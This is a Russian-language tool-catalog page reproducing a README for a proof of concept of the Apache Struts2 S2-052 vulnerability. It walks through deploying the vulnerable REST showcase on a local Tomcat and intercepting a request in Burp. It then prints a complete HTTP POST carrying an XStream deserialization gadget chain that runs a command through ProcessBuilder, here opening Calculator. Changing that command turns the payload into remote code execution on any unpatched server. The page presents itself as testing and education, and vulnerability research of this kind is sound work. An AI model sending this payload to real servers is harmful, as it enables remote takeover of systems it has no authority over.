Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
St2-052 — St2-052 | Kitploit
Инструменты/GitHubGitHub/jas502n/st2-052
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьОбучение и Образование
GitHubjas502n/st2-052

St2-052

St2-052

Репозиторий
551729 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Тестирование POC для S2-052 (оригинальное название: развертывание war в Tomcat)

Оригинальный адрес: http://blog.csdn.net/caiqiiqi/article/details/77861477

С официального сайта Struts2 загрузите последнюю затронутую версию struts-2.5.12, адрес: http://archive.apache.org/dist/struts/2.5.12/struts-2.5.12-apps.zip Обратите внимание: достаточно скачать struts-2.5.12-apps, не нужно скачивать struts-2.5.12-all.zip. Иначе в struts-2.5.12-all.zip будет много других вещей; можно увидеть множество jar-пакетов в каталоге lib. После получения struts-2.5.12-apps поместите файл struts2-rest-showcase.war из каталога app в каталог webapps; у меня это

/Library/Tomcat-8.5.15/webappsЗатем настройте файл conf/server.xml.

Здесь установите appBase в каталог webapps, а unpackWARs в значение true — тогда xxx.war будет автоматически распаковываться; autoDeploy тоже установите в true (горячее развертывание?) После этого можно открыть в браузере. Введите напрямую http://127.0.0.1:8080/struts2-rest-showcase/ Произойдет перенаправление, затем появится страница ниже; нажмите «Edit» на одном из элементов,

Затем отправьте запрос в Burp (так как у меня есть плагин-прокси в Firefox, я переключился на Firefox). Нажмите кнопку «Edit», перехватите запрос и измените значение Content-Type в запросе на application/xml, а данные POST замените содержимым XML из PoC.

PoC от мастера Цинтяня

root@kitploit:~
POST /struts2-rest-showcase/orders/3;jsessionid=A82EAA2857A1FFAF61FF24A1FBB4A3C7 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: application/xml
Content-Length: 1663
Referer: http://127.0.0.1:8080/struts2-rest-showcase/orders/3/edit
Cookie: JSESSIONID=A82EAA2857A1FFAF61FF24A1FBB4A3C7
Connection: close
Upgrade-Insecure-Requests: 1

<map> 
<entry> 
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
</entry> 
</map> 

Успешно открылся калькулятор

Затем на странице можно увидеть кучу ошибок

Скачать инструмент